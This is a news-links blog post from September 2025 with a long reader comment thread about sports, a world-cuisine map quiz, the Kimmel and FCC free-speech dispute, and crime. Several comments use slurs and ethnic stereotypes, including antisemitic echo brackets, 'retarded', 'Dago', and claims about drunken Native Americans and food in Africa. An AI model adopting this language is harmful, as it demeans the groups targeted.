Friday Morning Links

by | Sep 19, 2025 | Daily Links | 398 comments

The Bills predictably beat the Dolphins. The Astros and Mariners start a HUGE series tonight. The Indians are charging, but it may have been too late. Clayton Kershaw will retire at the end of the season. Maybe he should retire at the end of the regular season so he’s more likely to finish his career on a high note. Man City and Barca got their UCL campaigns off on a good start. As did Frankfurt. And F1 is in Baku this weekend, which happens to be the lowest lying national capital in the world. And on that trivial note, I’m moving on.

I guess they weren’t kidding. And they didn’t waste a minute of time either.

“Demonstrations” is an interesting word choice here. It’s not the word I’d have chosen if I was a journalist. But I didn’t go to an Ivy, so what do I know?

Well it’s about fucking time. As someone who sells a ton of trucks, I absolutely assure you this is a very serious problem.

“Wot u fink u’r doin’, mum?” Scummy fucks.

AHAHAHAHAHAHAHAHAHAHAHAHAHAHA!!!! How did he not know this was gonna happen when he booked the appearance? That’s Morgan’s whole schtick.

“Tonto, break out the smoke signals.” Sorry, but your free ride is over.

Yeah, no shit. We all have eyes, buddy.

This is an interesting analysis. I wonder if they’ll take note and change their tactics. Probably not, since their goals are all to bring communism back.

::ABOVE LINK HAS BEEN REPLACED WITH ONE THATS NOT ALL FUCKED UP::

This is against the law. Start with NARA and go to obstruction from there. Time to bring in the US Marshals.

Congratulations. You played yourself. Maybe prosecute people who steal from these places and they’ll stop stealing from them and rendering them unprofitable.

OK, I’m inserting this because aI want to see everybody’s answers:

Such a wonderful voice. Too many great tracks to choose from. I could listen to it for hours. Enjoy them both.

And enjoy this lovely Friday and weekend, dear friends.

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398 Comments

  1. Common Tater

    Is Dave Smith retarded?

    • Certified Public Asshat

      Why do you always leave us begging for context?

    • The Last American Hero

      No, but he gets kind of aspy on certain topics and also at times makes the conspiracy theorists mistake of trying to shoehorn every newsworthy event into the conspiracy.

      I still like him in general.

      • Pope Jimbo

        I gave up on him about six months ago. I can’t take him anymore on Gaza.

        I may have missed his episode on why exactly the (((Jews)))/Israel are so bad and Palestinians are so good, but how anyone can side with the guys who did 10/6 is beyond me.

    • JaimeRoberto (carnitas/spicy salsa)

      MY BROTHER NO RETARD! HE JUST SLOW! NO CATCH PREY!

      • SDF-7

        STEVE SMITH APPRECIATE FUNNY HOOMANS SUPPORT FOR BROTHER DAVE.

        SEND THOTS AND PREYERS!

  2. Common Tater

    “The Senate voted 51-47 to confirm the four dozen nominees.”

    Typical, just typical.

    • cavalier973

      The scary confirmations are those that are 100-0

  3. Tres Cool

    whaddup doh’

  4. Nephilium

    Anyone answering with anything other than G is dumb. We’ve got interpretations of nearly every type of various cuisine available throughout the US.

    • Not Adahn

      I’m assuming that bit of Brazil lets me get Brazilian steakhouses.

      • The Last American Hero

        Yes, but all you get is a narrow strip of steak.

    • sloopyinca

      All the steak, all the bbq, all the Cajun and creole, all the Mexican food, loads of seafood, and Cincinnati chili thrown into the mix for good measure.

      It’s a no-brainer.

      • Nephilium

        It doesn’t say you have to EAT everything from the region, so you don’t HAVE to eat Cincinnati “chili”.

      • sloopyinca

        No, neph. We get to.

      • Not Adahn

        Plus coffee, avocados peppers and spices can be grown in that region.

        A and B are fucked

      • Common Tater

        Polish and German food is good. Don’t know much about Sweden except tiny meatballs.

      • ZWAK, doktor of BRAIN SCIENCE!

        A gets you Guinness, French food and wine, Belgian pomme frites…

        B gets you schnitzle, German beers, Italian food and wine…

        Neither of those are bad.

      • Not Adahn

        Neither of those have coffee.

      • Not Adahn

        Or cinnamon or chocolate or vanilla.

      • Nephilium

        ZWAK/Common Tater:

        There’s three German restaurants near my house. I’ve lost count of the number of Polish delis and diners. Ohio, as far as it exists, appears to be in the G region.

      • Tres Cool

        I’ll be having some skyline later.

        However, Camp Washington > Skyline > Gold Star

    • Common Tater

      H has part of the U.S. and Spain.

      • Not Adahn

        The Northwest, Midwest and New England. Not quite the slam-dunk unless you’re REALLY into huckleberries and fiddleheads.

    • PieInTheSky

      your face is dumb.

      Also in which area is italy?

      • Common Tater

        B, C, & D?

      • dbleagle

        I noticed that as well. Who divides Italy into three areas unless they are an Irish “cuisine” fan.

    • rhywun

      Define “from”.

      My immediate pick is D. ¯\_(ツ)_/¯

      • R C Dean

        Yeah, D is probably a good choice. I’d still go with G.

      • R C Dean

        Oh, and I take “from” to mean “is sourced from”, not “can be cooked there”.

    • Suthenboy

      This. All of the others are included in G. Not just included but made better.

    • Sensei

      I like how D -bisects Japan. I’d be G or D. D gets you Japan and good chunk of Middle Eastern Food.

      • rhywun

        I was thinking southern China, all of India, and all of SE Asia. I could happily dine on that the rest of my days.

        Greece and Sicily are nice bonuses.

      • Sensei

        I actually had the best Northern Italian meal outside of actual Northern Italy in Japan.

        You can get every kind of western food there. However, you are going to have deal without peanut butter. Every expat says Japanese style peanut butter is both rare and awful. It’s one of the things they import if its important to them.

    • EvilSheldon

      I actually lean more towards D.

      Butter chicken, Chicken tikka masala, Dum aloo, Talit Macchi, Biryani, Pho, Pad Thai, Drunken noodles, Thai curries, sushi, Indonesian and Sumatran coffee, and Australia can provide the steaks and the BBQ…

      • Nephilium

        I recall reading that either Butter Chicken or Chicken Tikka Masala originated in Scotland. I forget which dish, but that always stuck with me for the entertainment alone.

      • EvilSheldon

        Chicken Tikka Masala. It originated in northern India, but was popularized in England.

    • SDF-7

      That was pretty much my thinking as well (minus the “you’re dumb” part though).

    • UnCivilServant

      I’m picking “All of the Above” because it’s a trick question.

    • Pope Jimbo

      I’m dumb, I guess.

      I’m going with D (I’m assuming NoKor is part of that?).

      Mostly because Mrs. Holiness would die if you made her eat anything except Korean or Japanese food. I’ve grown fond of her over the years and it would upset me to see that happen. I also like Asian food a lot, so I am OK switching over.

      • Pope Jimbo

        The only thing I would really miss is real potato chips and pizza.

        The Koreans don’t even really try either and the Japanese shouldn’t try and end up with shrimp flavored chips and pizza with corn and mayo.

        On my b-day last year, the Japanese family thought they’d treat me to a real down home pizza. They got a pepperoni pizza from Dominos. I didn’t have the heart to disappoint them, so I choked some down and pretended it was just like back home. (unfortunately it was like American Dominos).

  5. Not Adahn

    G

  6. Common Tater

    OK, I’m inserting this because aI want to see everybody’s answers:

    I’ll go with G. A is the worst.

    • Not Adahn

      I’m assuming the A supporters are relying on France and Belgium. Steak Frites is pretty yummy.

      • Common Tater

        I need more covefe. Having France is good.

    • sloopyinca

      A has most of France, so I would probably place that second or third.

      E is the worst.

      • Common Tater

        Not not familiar with African food. SA raises good beef though.

      • Gender Traitor

        Growing up seeing the PSAs on TV, I got the distinct impression that Africa was not familiar with food.

        A small African restaurant opened in a strip center near our home. You can probably guess its fate

      • Tres Cool

        I think it opened and closed in the same week.

      • dbleagle

        It got an incurable, virtually unheard of, disease and died?

    • ZWAK, doktor of BRAIN SCIENCE!

      Yeah, French food is pretty good, and I bet you get a slice of Italy in there too.

    • PieInTheSky

      A is not worst definitely E

      • (((Jarflax

        B is clearly wurst, although A has a bit

    • Pope Jimbo

      Region A should be called the Ozempic Zone.

      If you are limited to only food from there, you are gonna be hongry!

  7. Shpip

    “The missing and murdered pandemic across Indian Country is so profoundly high that it’s going to be devastating if any stations were to close their doors, because then that alerting to their radio or TV stations will literally go away,” said Taylor.

    Someone doesn’t know what the word pandemic means but is trying really hard to sound smart.

    • Nephilium

      Well, can you point to the pandemic currently stalking their lands?

      No? Then I guess it’s missing and/or murdered.

      • ZWAK, doktor of BRAIN SCIENCE!

        They are just genociding all over that article!

    • Pope Jimbo

      The last thing the proggies should want is a real investigation into the missing Indian women.

      They aren’t being murdered by white eyes invading the rez.

      The vast amount of them are being killed by other Indians. Most of the time because everyone is blasted drunk. The same reason that young Indian men are killed at such a high rate.

  8. ZWAK, doktor of BRAIN SCIENCE!

    Region G. I am not a picky eater, nor someone who really gives a fuck about food, so…

    • Not Adahn

      AFAIK, G is the only region in which one can find a decent chicken fried steak.

      • ZWAK, doktor of BRAIN SCIENCE!

        You get Waffle House, drive through burritos, coffee and Mexican beer.

        Does man need anything more?

  9. rhywun

    Lawmakers say they were trying to conduct oversight of holding facility

    lol That lie again.

    No, they were there to grandstand and to agitprop against existing law. Because voting to change the law to open the borders is not in their job description I guess.

  10. cavalier973

    I go with G as well, but I’m a little confused by the question.

    America basically has world quisine, just done in a way that I prefer (no dogs or slugs on my plate, please).

    I mean, am I limited to the food that originated in that particular region? Someone elsewhere said that region A is where cheddar cheese comes from, so no other region could have it, but cheddar can presumably be made anywhere.

    • Nephilium

      If that’s the case, then a lot of people will be sorely disappointed with their lack of tomatoes, potatoes, squash, and hot peppers. Again, a reason for G.

      • EvilSheldon

        Tomatoes are native to D.

      • Ownbestenemy

        What part of D? I gusss if we follow the lines around the globe and eventually get to the Americas they would be…

      • Common Tater

        Tomatoes are originally from South America, but then were bred into food in Spain and Italy. It takes a village to raise a tomato.

      • EvilSheldon

        China, probably by way of Macau or the Philippines, circa 15xx.

        ‘Native’ wasn’t the right word, I should have said ‘Commonly grown there for generations.’

      • Common Tater

        That was the Portuguese and Spanish.

    • ZWAK, doktor of BRAIN SCIENCE!

      I took it to mean food that originated from there, otherwise, what’s the point?

      I mean, coffee comes from G, so, what else matters?

      • Common Tater

        Isn’t coffee originally from F?

    • Not Adahn

      I interpreted as “food available there now, without importation of ingredients from other regions.”

      So G does NOT get the NYC food scene, but between Houston and LA, who the fuck cares?

      • ZWAK, doktor of BRAIN SCIENCE!

        California BBQ, tacos, coffee, tequila,

        The best of all worlds!

  11. Chipping Pioneer

    D

    • Chipping Pioneer

      I’ll preemptively point out before some other wiseass I just said I’d eat D for the rest of my life.

      • Pope Jimbo

        It isn’t that you agreed to eat D for the rest of your life that grosses us out. It is the way you lick your fingers afterwards that really is beyond the pale of good manners.

    • Not Adahn

      Chinese, Indian and Outback is a defensible choice.

      • Chipping Pioneer

        Lebanese, Thai, Vietnamese, Indonesian, Japanese…

      • Not Adahn

        Hummus and Persian.

    • sloopyinca

      I’ve seen too many Indian and Chinese street food videos of people shoving food in their armpits before chucking the pile of slop in a bowl and handing it to the customer to ever consider D.

      • cavalier973

        “Rightly seasoned!”

      • R C Dean

        Nobody says you can only eat what a low-rent street food vendor sells. There are horrifying cooking/hygiene practices everywhere.

      • Nephilium

        R C Dean:

        He thinks eating Skyline is a treat, do you really want to know what his usual consumption is?

  12. cyto

    The most American dude you will see today. Rambo 2025.

    Yes, it is the little dude with the monkey. A couple of small town deputies conspired to give him fake charges as a revenue generation scheme. Apparently the county gets 35% of their revenue from tickets, the maximum allowable by state law.

    When he didnt just roll over and take it, they doubled down. Just like the deputies in First Blood.

    And now Rambo has been unleashed.

    Since they have continued doubling down after everything he has unleashed on them in court, he has continued escalating pressure. And now he has found the solution that makes him the ultimate American.

    Do not screw with the ultimate American.

    After requesting traffic stop footage from the deputies that falsely cited him, he found a pattern of false charges.

    So he is creating a channel to publish all videos for all traffic stops from the two counties. He is open sourcing the outing of their revenue scam. He says he has already made money on the deal publishing outrage videos of their actions.

    Capitalism combined with unending will and plenty of time to use the legal system. He says they are going to lose way more than the money they tried to scam out of them. He intends to end their traffic ticket fundraising scam.

    ‘Merica!!

    Thabo and Ray. Rambo 2025.

    https://youtu.be/3X02Q-77xjU

    • ZWAK, doktor of BRAIN SCIENCE!

      This man is who should be called Big Balls.

    • cyto

      I originally introduced this guy noting that he was very smart and has nothing but time on his hands.

      In this video he tells us that he has gone through 1 year of traffic stops videos already.

      Maybe they should have just dropped the fake charges and moved on.

      • juris imprudent

        To hear the lamentations of their bean-counters, to see their county courthouses in flames…

      • cyto

        Hahaha Juris. Well done

    • Gustave Lytton

      Good on him, but some of those videos the drivers are too close. Two seconds following distance is stupid and doesn’t give yourself enough time to react.

  13. rhywun

    2017 death of 18-year-old Connor Dzion in northern Florida

    Never heard of that one. I wonder how many others they’ve been sweeping under the rug over the years.

    • Shpip

      It was an infuriatingly typical case

      TL,DR — Truck driver with no CDL was looking at his phone and overturned on the interstate, backing up traffic for miles.

      College freshman gets caught in snarl-up.

      Second semi, driven by dude who can’t speak or read English, plows into stopped cars, killing the kid.

      • trshmnstr

        Regardless of the social issue, this is why I leave plenty of room during emergency stops on the highway, and i keep my eye on the rearview until a number of cars or the next semi comes to a stop. Ive seen what happens in this kind of wreck first hand and i have no desire to end up wedged in a ball of steel under the trailer of the truck in front of me.

      • Gustave Lytton

        No CDLers around here can read English based on their inability to follow marked road signs. Speed limits, keep right, no trucks in left lane, all trucks must use bypass, etc etc.

      • Threedoor

        Get rid of the foreign truck drivers.

        Get rid of the CDL (it’s still relatively new, in nearly all of our lifetimes)

        Get rid of the driving Nanny’s in the new trucks, I have seen plenty of guys with their feet in the dash playing on their phones because the trucks largely drive themselves.

  14. rhywun

    “Wot u fink u’r doin’, mum?”

    The UK is definitely off the list of countries I would consider visiting. It’s simply too risky.

  15. PieInTheSky

    “Wot u fink u’r doin’, mum?” Scummy fucks.

    hey I linked that yesterday

    • PieInTheSky

      I mean not that site but that news

    • sloopyinca

      Thank you for your service.

  16. (((Jarflax

    G, and then conquer the rest.

    • Not Adahn

      G, then leave the rest of the world alone and enjoy our food and wimmen?

      • (((Jarflax

        I’ll leave them alone once I have the herbs and spices I want.

  17. (((Jarflax

    Warning ,link to face book, but it’s worth sharing

    • cyto

      Hahahaha!

      I always wondered how they processed that so fast.

      Gibberish. Hahaha… pretty funny.

    • Common Tater

      Can’t get there from here. What’s it say?

      • Rat on a train

        Moving a back seat driver to the front doesn’t change anything?

      • (((Jarflax

        It’s too long to retype, and it is an image so I can’t copypasta. It’s a parody interview with a rally driver about his co-driver

  18. PieInTheSky

    D is best it is known.

    • PieInTheSky

      I have friends who say F. Crazy people.

  19. rhywun

    “Verify you are human by completing the action below.”

    Fuck you.

    /closes tab

    • sloopyinca

      Just refresh the page and it’ll open the story.

      • ZWAK, doktor of BRAIN SCIENCE!

        So, doubling our labor, I see.

      • rhywun

        All I get is an image.

        Reader mode gives an article but… by then I’m moving on.

    • PieInTheSky

      BOT CONFIRMED

    • SDF-7

      No kidding — I clicked the “Verify you’re human” — that’s not a big deal… when it started with “win+R (run command) then win+V (paste whatever command wasn’t showing” that’s when I no way the fuck out… You are not getting me to run an arbitrary command for your website, asshole.

    • R C Dean

      “Not sending their best”

      Maybe they are.

      • SDF-7

        “… some enchanted evening… you may slay a stranger…. you may slay a stranger — trying to sneak in….”

  20. I. B. McGinty

    G, or whatever sector Italy is in. Looks like B or C.

  21. Sean

    G gets my vote.

    • Ownbestenemy

      Adam wearing a Drybar Comedy hat is funny.

      • Common Tater

        He’s done two specials there.

    • The Last American Hero

      Please Adam, run for office.

      That speech right there plus a promise to suspend the permitting rules prohibiting reconstruction after the fire will win you a governorship.

  22. Common Tater

    These People Are Sick

    https://www.youtube.com/watch?v=eJENP0Rr8p0

    Even socialist shoe is nearly in tears. That montage is hard to watch. So I can see why she is so upset.

    • Not Adahn

      I wonder if “This is great! Charlie Kirk isn’t martyr material! Killing him removes his message without inspiring anyone else!” chick has even the slightest realization she’s wrong.

      I notice the Asian chick with the problem glasses has managed to get herself in the media over a DIFFERENT Kirk-bashing incident.

      I would nullify if I had to jurate several of those people being killed.

      • The Other Kevin

        I will say it again, that assassin done fucked up. The response is going to be way stronger than whatever he thought we was going to accomplish.

      • PutridMeat

        I would nullify if I had to jurate several of those people being killed.

        I wouldn’t.

        Let them speak. Shine sunlight on who they really are. Being willing to advertise your complete lack of moral compass and fundamentally broken, evil nature, is not a justification for death. A notice, a warning – “stay away from me, don’t associate with me in any way, don’t vote for anyone I support, ostracize me from polite society” – yes. But going down the road of thinking someone expressing abhorrent views is justification for killing them is pretty damn dangerous road.

      • Not Adahn

        That is in tension with “when someone tells you who they are, believe them.”

    • Ownbestenemy

      I just watched it. The realization that your fans will cheer your death must be sombering.

      • SDF-7

        I watched it last night. Particularly likes “You just cheered for our deaths. You’re never getting our guns.”

        The tone deaf gun control attempts were laughable last week for just that reason.

  23. Common Tater

    “The next thing you knew, the Trump-appointed FCC chairman, Brendan Carr, was making a guest appearance on a rightwing podcast, apparently threatening to pull federal licenses. Objecting to Kimmel’s suggestion – made before more evidence came to light – that the shooter was part of the Maga movement, he urged broadcast affiliates to “push back” on Disney – or else.”

    https://www.theguardian.com/commentisfree/2025/sep/19/jimmy-kimmel-free-speech-trump

    I agree that was wrong. What Kimmel said was wrong, but broadcasters say wrong things all the time.

    • sloopyinca

      They can push back all they want. Disney saw a way to jettison a money suck and they took it. No way are they gonna reverse course unless they negotiate a new contract and new terms for the show’s production.

      • PutridMeat

        Agree here. Don’t object to Disney and/or whatever broadcast network he was associated with dumping him for whatever reason, though I prefer the financial motive.

        What is objectionable is an FCC chairman publicly talking about, in the wake of a political (as evil, debasing and stupid as it was) statement, pulling licenses, urging them to ‘push back’. No, just shut up. By virtue of the job you took, one that is in position to destroy the entities you regulate by threats and use of government force, you’ve given up the right to publicly comment about stuff like this. Shut up, let the market work. I objected to agents of the federal government contacting social media and demanding that they censor information and kick off people giving contrary information about Covid and ‘medical’ treatments, implicitly threatening section 320 ‘protections’ (shouldn’t even be necessary in the first place), and I’m going to object to agents of the federal government effectively saying ‘nice broadcast company you got there, be a shame if something happened to it’ – even when I agree with the reaction.

  24. PieInTheSky

    Secular Talk (KyleKulinskiShow@bsky.social)
    @KyleKulinski
    Oh please. Plenty of people believe in good faith the shooter is right wing. Fox News had to pay out $787 million for defamatory lies about the 2020 election and all of those cretins are still on the air. Spare us your sanctimonious rationalizations.

    https://x.com/KyleKulinski/status/1968760854288937441

    good faith is where its at

    • Common Tater

      That doesn’t make sense.

    • cyto

      They fired Tucker.
      AoC made a selfie video giggling about it and bragging that cancel culture and deplatforming work

  25. rhywun

    Maybe prosecute people who steal from these places and they’ll stop stealing from them and rendering them unprofitable.

    Why do you hate social justice, bigot?

    • (((Jarflax

      Because it is by definition unjust to give a group preferential treatment under the law because they are in the group?

      • rhywun

        I was wearily annoyed that the details and implications in that story went exactly where I knew they would. We have been having similar “conversations” my entire life and not one major outlet is willing to talk honestly about it.

      • (((Jarflax

        Yeah, sorry I know it’s rude to answer rhetorical questions. I just couldn’t help myself

      • The Last American Hero

        Just once, I want the CFO to show a simple graph of the store’s income statement vs. a similar location in a suburb. Highlight the net loss and the amount of money lost to “inventory shrink”. Emphasize that there is a huge customer base in the city, so they’d love to have a location there, but they literally cannot due so because of the levels of crime and the unwillingness or inability of law enforcement to get a handle on the criminals means nobody gets a store.

      • rhywun

        It’s not even just “city vs suburb”.

        The problem is concentrated in very specific part(s) of the city. You will note that the company in the article is leaving two other stores open.

  26. ZWAK, doktor of BRAIN SCIENCE!

    So, in talking points du jour, todays seems to be the Right Wing Cancel Culture. Jimmy Kimmel and the FCC honcho comments seem to be the flash point around this.

    Is it cancel culture, or just desserts? And yes, if you never had the FCC, that would not be an issue, as this is exactly what the FCC is set up to do, no? Is the Trump lawsuit against the NYTs part of this in your eyes? Pam Blondi’s idiotic Hate Speech comments?

    What does everyone here think about this?

    • rhywun

      Subtract Bondi and the FCC and the left would be going off in exactly the same manner.

      They would simply claim it was one of Trump’s mean tweets silencing the opposition.

      It is all projection all of the time with them.

      • Stinky Wizzleteats

        Kimmel’s sort of shittcanning, I guarantee they will bring him back, for mouthing off was just a pretext for an already failing show. Late night shows are dead or dying and have been for a while now.

      • rhywun

        Going hard-left didn’t prevent losing all the cool kids to Tiktubes either.

    • Nephilium

      The fact I’ve seen people who lean progressive saying how terrible this is, while excusing the Facebook and Twitter manipulations and bans by saying “those weren’t influenced by the government”, despite the evidence to the contrary has me with very little sympathy for the people finding out that celebrating the murder of a guy talking.

      If I had cheered the death of George Floyd on social media publicly back in the summer of 2020, what would the reaction of these same people have been?

      • cyto

        It isnt cancel culture when they do it.

        Also, it wouldn’t have been for celebrating. It would be for claiming there was some doubt as to the cause of death

      • rhywun

        very little sympathy

        This x1000.

        Reap what you sow, assholes. I’m done with being Mr. Nice Guy in response to their evil shit.

      • (((Jarflax

        I’d rather the government not push to get media figures fired. I could not care less that Kimmel got fired, and am entirely in favor of common citizens pushing to get all the ghouls cheering murder fired from any job where their hatred for half the country might lead them to hurt someone or even just spread their poison, but government officials need to stay out of it now, and we need to prosecute the government officials who were responsible for doing it in the past.

      • rhywun

        government officials need to stay out of it now

        Absolutely.

        The left is burying themselves already – no need for pols to flap their gums.

    • Common Tater

      What Bondi said was either retarded or master trolling.

    • cyto

      The conspiracy nuts in TDS land are out spinning any connection they can imagine.

      What they fail to consider is this: Kimmel had less than a million viewers. Seriously.

      And they want to believe that the Disney buyout of Sinclair hinged on firing Kimmel.

      That is nuts.

      100 million people were offended by Kimmel on this one. With less than a million viewers.

      That show was a dead man walking. The format is dead.

      Broadcast is dead… it just doesnt know it.

      Using government pressure to censor speech is dangerous. And illegal.

      Unfortunately, the entire left and the TDS Republicans and independents blew their credibility over the last 2 decades.

      Shadow bans didnt exist.

      Then banning people was good… but only really bad people.

      Then we learned how the tech companies and the media companies managed such tight coordination on which stories to kill, which to promote, and who to deplatform. The federal government was telling them what to do.

      And none of these people crying free speech now even commented on it. It didnt even exist. Debanking – not their problem. ISP canceling contracts? Not their problem.

      Taibbi and Shellenberger have been lone voices reporting on this. Even Reason Magazine pretends it doesnt exist. Leftist publications i used to respect have been silent as well. Mother Jones. Rolling Stone.

      Yesterday Barak Obama said the firing of Kimmel was the greatest threat to free speech we have ever seen.

      This is the guy who did Operation Choke Point. This is the guy who used the IRS to block conservative nonprofits. How much bigger was that? Thousands or millions of Americans denied the right to freely assemble to petition their government because he used the IRS to stop them.

      This is the asshole who threatened to use the regulatory state to bankrup creditors if they objected to his theft of tens of millions of dollars they were owed from GM and Chrystler as he illegally gave the company to the union instead of letting them file bankruptcy. (Where the creditors come first and the unions would have received nothing)

      These people spent 20 years pissing on the first amendment.

      That is why 100 million Amerivans dont give a shit what they say now that the shoe is on the other foot.

      And we all lose.

      We here at Glibertarians warned them. We yelled, screamed and even typed it.

      They didnt even bother to respond.

      Fuck Brian Stelter. Fuck Chuck Todd. Fuck AOC.

      Screw every single one of them.

      This moment was entirely foreseeable, yet they promoted the propaganda with glee.

      And now we have a bunch of free speech conservatives who dont care if there is a wolf or not. They just want the little boy to shut up.

      • sloopyinca

        Hear! Hear!

      • SandMan

        Unfortunate that we got here. Scott Adams had a quote the other day, probably not his originally, “May you live in the world you created”.

      • The Other Kevin

        That’s about as good a summary as I can imagine. I think almost all of us are free speech “absolutists”, aka we don’t want the government involved in any way. And with that, we realize the pendulum will always swing back, no matter how one side thinks they can control gravity.

        Walter Kirn made a good point the other day. The FCC is in charge of broadcast stations and does have power to protect some vague “public interest”. The Dems had years to change that if they didn’t like it, instead they extended control to other areas where they shouldn’t, as you said above.

      • The Last American Hero

        As a proud listee on Attack Watch, I concur with this comment.

    • R C Dean

      I suspect the description of the FCC guy’s comments as threats to nuke the licenses of anybody who doesn’t start firing Democrats are overblown.

      Bondi seems to rarely miss an opportunity to disappoint.

      But neither of them has actually done anything at all to charge or penalize people for their speech. Yes, yes, I know, “chilling” blah blah.

      As for the rest of it, nobody said the arena of free speech was all Marquess of Queensbury rules. Don’t bring your book of etiquette to riot in prison yard, and all that.

      • PutridMeat

        “chilling” blah blah.

        No, not blah blah. Very important. If you look back at the twitter files, a lot of it was ‘just’ threats, hints. And yet, with an ideologically aligned social order, that ‘chilling’ completely shutout opposition.

        has actually done anything at all to charge or penalize

        Same thing could be said about what they did to us during the manufactured Covid ‘crisis’.

        Don’t bring your book of etiquette to riot in prison yard, and all that.

        I hope you enjoy living in a prison yard then. Because you’re not going to go into a prison yard fight, come out on the other side, and restore freedom and justice. You’re going to be the bad guy. Just because the ‘right’/’libertarian’/’maga’/’whatever’ side doesn’t have the willingness to forcefully object to, stop, and sacrifice to prevent, evil oppressive behavior when the ‘other side’ does it, doesn’t mean that adopting those techniques when you’re in power is the correct way to go. That just means, IMO and certainly for lots of MAGA types, that your only objection was that you weren’t pulling the strings.

        (“You” is in the royal sense throughout)

        I largely agree with what Cyto said above. That’s the source of the outrage. Just be very very careful of how you express that outrage. It’s all very understandable, and, in most cases, exactly what ‘they’ deserve, but that doesn’t mean it ends well if you abandon all the principles that tell you that the actions they took so wrong and evil. That just makes you one of them with a different facade (hopefully a better facade, but in the long run of corruption, probably not).

    • Drake

      I think if their rating weren’t terrible, Kimmel and Cobert would still have jobs. Insulting more than half the country every night isn’t a good formula for national tv.

    • Sensei

      This sums it up for me:

      https://www.wsj.com/opinion/fcc-disney-jimmy-kimmel-brendan-carr-media-regulation-197bdf0a?st=Ebsbzf&reflink=desktopwebshare_permalink

      I don’t know how to make the left listen other than by doing it to them however. It’s bit like you can’t beat people because it hurts and the left disagreeing with that. So you have to beat them to show that it hurts. Suddenly they all cry out in pain.

      Of course they will at that point claim that beatings done by leftists aren’t the same…

  27. cyto

    Whoever invented the “resist” strategy has a special place in hell.

    A nation is a fairly fragile construct. Two centuries of enlightenment wisdom have been preserved by countless citizens debating and voting.

    This asshole and the millions who decided to follow along are about to wreck the whole thing. The advice and consent of the senate having been abused to simply prevent Trump from being able to run the government at all directly resulted in yet another destruction of a system of checks and balances.

    Nice job, assholes.

    It is everything with these people. Nominate someone to the court? We will make up fake rape charges. Order us to turn over investigative materials? We destroy them.

    The only way back is if the people who vote for the Democrat team stop tolerating this behavior and insist that their representatives govern responsibly

    I never in a million years thought Tip O’Neal would turn out to be the reasonable and patriotic one

    • The Other Kevin

      They don’t get their way, so the “gloves are off” and they get to tear down everything. Fuck em.

    • Gustave Lytton

      Whatever else I thought about Tip O Neil or just about any Democrat politician of that era, I never thought they weren’t patriotic. Now we have mainstream politicians that aren’t just not patriotic, but are straight up anti-American and pro-invasion. And a good chunk of the population too.

      • The Last American Hero

        They aren’t pro-invasion. They are pro whateverputstheminpower. If the immigrant hordes were hyper devout Catholics that were vocal about banning abortion, they’d be sent home in shipping containers by Democrats.

  28. Common Tater

    “Demi – who uses both she/her and they/them pronouns – talked about her connection to queerness and club culture as they came out as nonbinary in May 2021.

    The star said: ‘My connection with queer club culture is … I love going out with my friends. I love dancing, and I love doing that in queer spaces because it feels safe to me.

    ‘If I were to go to a straight club, it just doesn’t feel as safe. I feel there’s more danger. I feel like when I go to a queer space, I know that I’m with my friends. I’m know I’ll have a great time. I just have always felt safer in queer spaces, and I think that’s because queer people have a way of living so authentically that it makes me feel like I can live authentically.'”

    https://www.dailymail.co.uk/tvshowbiz/article-15112657/demi-lovato-queer-braless-paper-magazine-shoot.html

    This shit is so tiring.

    • juris imprudent

      “I feel, therefore I am”

    • rhywun
    • cyto

      “Authentic” means “dress up weird to hide the fact that I am not conventionally attractive and thereby preemptively declare that I opt out”

      I know a lady who went this route. She was normal. A bit weird. But nice. Average intelligence. Caring. Loved by lots of people. And very unattractive sexually. Even if she wasnt overweight, she didnt have a conventional female body plan. Not pretty face. Not a pretty smile. Not even pretty eyes.

      But she had confidence. Even if it was faked. She had a great time going out. She met guys and hooked up as much as anyone. And she pulled pretty high talent.

      But she was damaged goods. Her ex husband left her in a bad situation. Her kid had a chronic illness. And then her company went under in the 2008 crash and she lost her job.

      She lasted another few years in government work, but slowly drifted to the accepting world of drum circles and Wiccan. She had a boyfriend for a couple of years from that culture. Fairly attractive, but probably bi.

      After he broke it off, she went full on crazy town. Genderfluid. Weird shaved and died hair. The whole 9. Became unemployable.

      Sad really.

      Her X had dumped her with the kid, but after doing it alone for years, she gave the kid to her ex as she entered high school and doesnt contact her much anymore.

      Just a spiral of affirmation.

      Her new friends didnt like me because I told them nobody cares who you are having sex with, as long as it isnt me.

      It is an attractive, accepting trap for people who dont fit in elsewhere. It is easy to put on the uniform and be accepted.

    • rhywun

      Queer everything is so 2024.

      Catch up, you/they/xe/whatever the fuck.

      • Common Tater

        Everything about her is she/her — feminine-presenting female married to a man. Nothing LGBT about it.

      • rhywun

        The two have been entirely disconnected at this point.

        Gay was cool so everyone wanted to latch on to it but not being gay, they choose “queer”.

      • Common Tater

        Or “non-binary”. She has claimed both.

  29. Stinky Wizzleteats

    Not fair: why do the regions chop up Italy, the pinnacle of food among all correct thinking people.

    • (((Jarflax

      Because including all of Italy in one trivializes the question

    • Nephilium

      Name three good Italian beers.

      • Not Adahn

        …I like Moretti

      • Stinky Wizzleteats

        Peroni
        Birra Moretti
        Boppityboopybrau

      • Nephilium

        Both Peroni and Moretti are mediocre at best. There was one beer from Italy over my years of trading and hunting down whales that even popped into the conversation. It was a Pink IPA (yes, they tried to create an Italian Pale Ale). The pink was from the use of pink peppercorns in the beer. Some quick searches are showing that brewery is no longer in business.

        I was merely pointing out that Italy is not the pinnacle of everything, I mean, can they even make a good pierogi there?

      • PieInTheSky

        Italy is not the pinnacle of everything – the coffee for example generally sucks ass

      • ZWAK, doktor of BRAIN SCIENCE!

        Having worked at an Italian restaurant in college, I served a lot of Dago beer and generally find it to be on a parr with Mexican beer. If you like lagers, it is quite good, and if you don’t, you probably wont like it.

        IE, if you like really dark, hot beers, stay away. If you want to drink all day like you are in the Mediterranean and dislike wine, they are winners.

        And, being married to a Pole, thank f’ing god they can’t make pirogi. Or stuff cabbage. No one needs that stuff.

      • Common Tater

        “over my years of trading and hunting down whales”

        I didn’t know you were a 19th century mariner.

        “I mean, can they even make a good pierogi there?”

        They make gnocchi and ravioli.

        And stuffed cabbage is great.

      • Nephilium

        Common Tater:

        Whales in the beer trading world are highly sought after limited releases, usually brewery or tap room exclusives, sometimes with lotteries for availability. Several of the breweries have built up giant fests around beer releases. Look towards the old Dark Lord Day or Pliney the Younger release day.

        My dad at a family dinner (it may have been Thanksgiving) went on a bizarre rant about how pierogi were stolen by every other culture. Ravioli – inferior Italian pierogi; Dumplings – inferior Asian pierogi; Calzone/Stromboli – completely wrong Italian pierogi; pasty – Stop making up words for pierogi! Hot Pocket – inferior American pierogi. We would not let it drop.

      • Common Tater

        “Whales in the beer trading world are highly sought after limited releases”

